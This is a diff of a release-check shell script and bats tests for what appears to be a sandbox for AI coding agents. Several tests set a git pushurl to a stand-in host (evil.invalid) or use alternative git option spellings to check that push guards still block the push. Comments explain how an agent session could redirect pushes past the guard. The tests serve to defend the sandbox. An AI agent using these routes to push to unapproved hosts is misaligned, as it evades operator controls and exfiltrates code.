# than trusted: the newest axis is exactly the one a hand-kept list misses,
|
||||
# because a list is only ever updated by whoever remembers. tools is an axis
|
||||
# like the rest - `[core] tools = rtk` on a dejima that does not ship rtk is
|
||||
# refused the same way an unknown harness is.
|
||||
DEJIMA_RELEASE_AXES="harnesses:harness forges:forge workflows:workflow backends:backend tools:tool"
|
||||
# The singular is spelled out above rather than derived - "harnesses" does not
|
||||
# lose an s to become "harness", and a manifest is named for the singular - so
|
||||
# this is the check that the spelling out has not fallen behind the tree.
|
||||
for _d in */; do
|
||||
_d="${_d%/}"
|
||||
case "$_d" in
|
||||
harnesses|forges|workflows|backends|tools) ;;
|
||||
*) continue ;;
|
||||
esac
|
||||
case " $DEJIMA_RELEASE_AXES " in
|
||||
*" $_d:"*) ;;
|
||||
*) fail "$_d/ is a provider axis this script does not check for rollback" ;;
|
||||
esac
|
||||
done
|
||||
|
||||
new_providers=""
|
||||
for pair in harnesses:harness forges:forge workflows:workflow backends:backend; do
|
||||
for pair in $DEJIMA_RELEASE_AXES; do
|
||||
axis="${pair%%:*}"
|
||||
one="${pair#*:}"
|
||||
[ -d "$axis" ] || continue
|
||||
@@ -153,7 +205,7 @@ done
|
||||
# backend` is one: adopting it is what makes the rollback refuse, and nothing
|
||||
# said so.
|
||||
new_keys=""
|
||||
for pair in harnesses:harness forges:forge workflows:workflow backends:backend; do
|
||||
for pair in $DEJIMA_RELEASE_AXES; do
|
||||
axis="${pair%%:*}"
|
||||
one="${pair#*:}"
|
||||
[ -d "$axis" ] || continue
|
||||
@@ -172,7 +224,15 @@ done
|
||||
|
||||
if [ -n "$added" ] || [ -n "$new_providers" ] || [ -n "$new_keys" ]; then
|
||||
[ -z "$added" ] || printf ' %s\n' $added
|
||||
[ -z "$new_providers" ] || printf ' [%s] as a config section\n' $new_providers
|
||||
# How an older dejima refuses a new provider differs by axis, and saying
|
||||
# "as a config section" for all of them was wrong for tools: a tool has no
|
||||
# keys and so no section. It is refused through the value that names it.
|
||||
for entry in $new_providers; do
|
||||
case "$entry" in
|
||||
tool.*) printf ' [core] tools = %s\n' "${entry#tool.}" ;;
|
||||
*) printf ' [%s] as a config section\n' "$entry" ;;
|
||||
esac
|
||||
done
|
||||
for entry in $new_keys; do
|
||||
printf ' %s %s\n' "${entry%%|*}" "${entry#*|}"
|
||||
done
|
||||
|
||||
+126
-1
@@ -986,10 +986,15 @@ _cline_prepare() {
|
||||
# with a colon, so not one OpenRouter id could be set - the backend this
|
||||
# harness exists to reach was unusable, and every test here said `model =
|
||||
# m`, which is a bare identifier and passes either way.
|
||||
#
|
||||
# The bracketed one is here because the first fix for that missed it:
|
||||
# Anthropic spells a context variant `claude-opus-5[1m]`, and a set built
|
||||
# from the ids in the report at hand refused it a release later. Real ids
|
||||
# from every catalogue dejima can reach, not the ones that prompted a fix.
|
||||
local d ws
|
||||
ws="$BATS_TEST_TMPDIR/modelid-ws"; mkdir -p "$ws"
|
||||
local id
|
||||
for id in z-ai/glm-5.3 deepseek/deepseek-r1:free llama3:8b plain-local-model; do
|
||||
for id in z-ai/glm-5.3 deepseek/deepseek-r1:free llama3:8b 'claude-opus-5[1m]' plain-local-model; do
|
||||
d="$(_cline_cfg "model = $id" 'backend = self-hosted' \
|
||||
'[backend.self-hosted]' 'base_url = http://127.0.0.1:8080/v1')"
|
||||
run _cline_prepare "$d" "$ws"
|
||||
@@ -2442,6 +2447,27 @@ _install_forge_bins() {
|
||||
rm -rf "$fake" "$dest"
|
||||
}
|
||||
|
||||
@test "the release pass refuses a base that is behind its own upstream" {
|
||||
# Everything the pass prints is derived from base..head - which manual
|
||||
# checks apply, which config keys a rollback would refuse - so a base
|
||||
# behind the real one reports on a different release, confidently. Two
|
||||
# passes ran against a local `main` 260 commits behind origin/main and
|
||||
# named keys and a domain that had shipped releases earlier.
|
||||
grep -q 'behind its own upstream\|behind \$base_upstream\|commit(s) behind' \
|
||||
"$REPO_ROOT/test/release-pass.sh" \
|
||||
|| { echo "the staleness check is gone"; return 1; }
|
||||
# The default is the tracking ref, not the local branch, so the ordinary
|
||||
# invocation cannot pick up a stale one in the first place.
|
||||
grep -q 'base=origin/main' "$REPO_ROOT/test/release-pass.sh" \
|
||||
|| { echo "the default base is not the tracking ref"; return 1; }
|
||||
# And it exits rather than warning: a gate that says something is wrong
|
||||
# and then reports anyway is one whose output still gets pasted into a
|
||||
# release PR.
|
||||
sed -n '/is .* behind /,/^fi$/p' "$REPO_ROOT/test/release-pass.sh" \
|
||||
| grep -q 'exit 1' \
|
||||
|| { echo "a stale base is warned about rather than refused"; return 1; }
|
||||
}
|
||||
|
||||
@test "the release pass names every area whose check is manual" {
|
||||
# This list is the only record of what the test suites cannot see, and it
|
||||
# is the kind of list that rots by omission: an area gets a manual check
|
||||
@@ -2786,6 +2812,83 @@ _guard_repo() {
|
||||
[[ "$output" == *"cannot resolve the remote"* ]] || { echo "$output"; return 1; }
|
||||
}
|
||||
|
||||
@test "a push URL the fetch URL does not name is still checked" {
|
||||
# git pushes to remote.<name>.pushurl when one is set and to
|
||||
# remote.<name>.url otherwise, so a guard that reads the fetch URL checks a
|
||||
# host the push is not going to. `remote get-url --push` is the one
|
||||
# question that answers where the push goes.
|
||||
#
|
||||
# No evasion is needed to reach it. .git/config is in the read-write
|
||||
# project mount - deliberately, since `git push -u` writes to it - so a
|
||||
# session can set a pushurl and every later push is checked against the
|
||||
# wrong host.
|
||||
local repo; repo="$(_guard_repo)"
|
||||
git -C "$repo" config remote.origin.pushurl git@evil.invalid:o/r.git
|
||||
|
||||
run _git_guard "$repo" push origin feature
|
||||
[[ "$output" == *"may only push to"* ]] \
|
||||
|| { echo "the shadow checked the fetch URL: $output"; return 1; }
|
||||
[[ "$output" == *"evil.invalid"* ]] \
|
||||
|| { echo "it named the wrong host: $output"; return 1; }
|
||||
|
||||
# And the hook, which resolves the same thing its own way.
|
||||
run bash -c 'printf "{\"tool_input\":{\"command\":\"git push origin feature\"},\"cwd\":\"$1\"}" \
|
||||
| DEJIMA=1 DEJIMA_PUSH_HOSTS=forge.invalid DEJIMA_BLOCKED_BRANCHES=main \
|
||||
DEJIMA_FORGE_NAME=gitea bash "$2/hooks/git-push-guard.sh" 2>&1' _ "$repo" "$REPO_ROOT"
|
||||
[[ "$output" == *"Blocked by"* ]] \
|
||||
|| { echo "the hook checked the fetch URL: $output"; return 1; }
|
||||
}
|
||||
|
||||
@test "a one-command pushurl is checked too, not only one in the config" {
|
||||
# `git -c remote.origin.pushurl=... push origin branch` sets it for a
|
||||
# single command. Both guards skip `-c` and its value when finding the
|
||||
# subcommand, so what they resolve has to be right without it.
|
||||
local repo; repo="$(_guard_repo)"
|
||||
run _git_guard "$repo" -c remote.origin.pushurl=git@evil.invalid:o/r.git push origin feature
|
||||
[[ "$output" == *"may only push to"* ]] \
|
||||
|| { echo "$output"; return 1; }
|
||||
}
|
||||
|
||||
@test "the hook sees a push however git's own options are spelled" {
|
||||
# It recognised `git push` and `git -C <dir> push` and nothing else, so
|
||||
# every other spelling of git's own options was not a push as far as it was
|
||||
# concerned and it allowed the command without checking anything. The PATH
|
||||
# shadow walks argv and caught them regardless - this is the earlier
|
||||
# warning agreeing with it, not the boundary.
|
||||
local repo hook_out; repo="$(_guard_repo)"
|
||||
local cmd
|
||||
for cmd in "git --no-pager push origin main" \
|
||||
"git -c core.pager=cat push origin main" \
|
||||
"git --git-dir=$repo/.git push origin main" \
|
||||
"ls && git push origin main"; do
|
||||
hook_out="$(printf '{"tool_input":{"command":"%s"},"cwd":"%s"}' "$cmd" "$repo" \
|
||||
| DEJIMA=1 DEJIMA_PUSH_HOSTS="forge.invalid" DEJIMA_BLOCKED_BRANCHES="main" \
|
||||
DEJIMA_FORGE_NAME=gitea bash "$REPO_ROOT/hooks/git-push-guard.sh" 2>&1 || true)"
|
||||
[[ "$hook_out" == *"Blocked by"* ]] \
|
||||
|| { echo "not seen as a push: $cmd"; return 1; }
|
||||
done
|
||||
# And a token that merely says push is not a git invocation.
|
||||
hook_out="$(printf '{"tool_input":{"command":"echo push origin main"},"cwd":"%s"}' "$repo" \
|
||||
| DEJIMA=1 DEJIMA_PUSH_HOSTS="forge.invalid" DEJIMA_BLOCKED_BRANCHES="main" \
|
||||
DEJIMA_FORGE_NAME=gitea bash "$REPO_ROOT/hooks/git-push-guard.sh" 2>&1 || true)"
|
||||
[ -z "$hook_out" ] || { echo "blocked something that is not a push: $hook_out"; return 1; }
|
||||
}
|
||||
|
||||
@test "both push guards refuse a remote they cannot resolve" {
|
||||
# The fail direction, and the two used to differ: the shadow refused and
|
||||
# said why, the hook exited 0. An unresolvable remote is what a
|
||||
# disagreement between either parser and git's own looks like, and that
|
||||
# has to be a refusal rather than a push nobody checked.
|
||||
local repo hook_out; repo="$(_guard_repo)"
|
||||
run _git_guard "$repo" push nosuchremote feature
|
||||
[[ "$output" == *"cannot resolve the remote"* ]] || { echo "shadow: $output"; return 1; }
|
||||
|
||||
hook_out="$(printf '{"tool_input":{"command":"git push nosuchremote feature"},"cwd":"%s"}' "$repo" \
|
||||
| DEJIMA=1 DEJIMA_PUSH_HOSTS="forge.invalid" DEJIMA_BLOCKED_BRANCHES="main" \
|
||||
DEJIMA_FORGE_NAME=gitea bash "$REPO_ROOT/hooks/git-push-guard.sh" 2>&1 || true)"
|
||||
[[ "$hook_out" == *"cannot resolve the remote"* ]] || { echo "hook: $hook_out"; return 1; }
|
||||
}
|
||||
|
||||
@test "the two push guards agree on the same pushes" {
|
||||
# Two implementations of one rule is the drift this repo warns about, so
|
||||
# the overlap is pinned rather than assumed: for each case, the hook and
|
||||
@@ -4835,6 +4938,28 @@ EOF
|
||||
# The absence of a finding needs documenting as much as a finding does, so
|
||||
# that not detecting something stays a stated decision rather than something
|
||||
# a reader has to infer from silence.
|
||||
@test "docs/security.md does not describe the fallthrough the launch refuses" {
|
||||
# Caught by a release pass, not by a test: bin/dejima made an unproxied
|
||||
# credential a refusal, and the arrangements table went on listing it as
|
||||
# the fourth row - the one where the real credential is mounted. A
|
||||
# document promising the weakest posture for a launch that no longer
|
||||
# happens is worse than one that says nothing, because it is the posture
|
||||
# an operator plans around.
|
||||
local doc="$REPO_ROOT/docs/security.md" row
|
||||
row="$(grep -m1 '^| \*\*No proxy\*\*' "$doc")" \
|
||||
|| { echo "the arrangements table has no 'No proxy' row"; return 1; }
|
||||
[[ "$row" == *"proxy = off"* ]] \
|
||||
|| { echo "the row does not name what puts a launch in it: $row"; return 1; }
|
||||
[[ "$row" != *"cannot serve"* ]] \
|
||||
|| { echo "the row still claims an unservable credential is mounted: $row"; return 1; }
|
||||
|
||||
# And the refusal is the code's, so the two cannot drift apart silently.
|
||||
grep -q "cannot serve the credential in" "$REPO_ROOT/bin/dejima" \
|
||||
|| { echo "bin/dejima no longer refuses it - the doc above is now wrong"; return 1; }
|
||||
grep -q 'refusal' <<< "$(sed -n '/^\*\*Only .proxy = off. lands/,/^$/p' "$doc")" \
|
||||
|| { echo "the doc does not say what happens instead"; return 1; }
|
||||
}
|
||||
|
||||
@test "docs/security.md says why there is no cross-project finding" {
|
||||
grep -q 'deliberately no .CROSS-PROJECT. finding' "$REPO_ROOT/docs/security.md"
|
||||
run grep -n 'CROSS-PROJECT history/memory write' "$REPO_ROOT/bin/dejima-audit"
|
||||
|
||||
Reference in New Issue
Block a user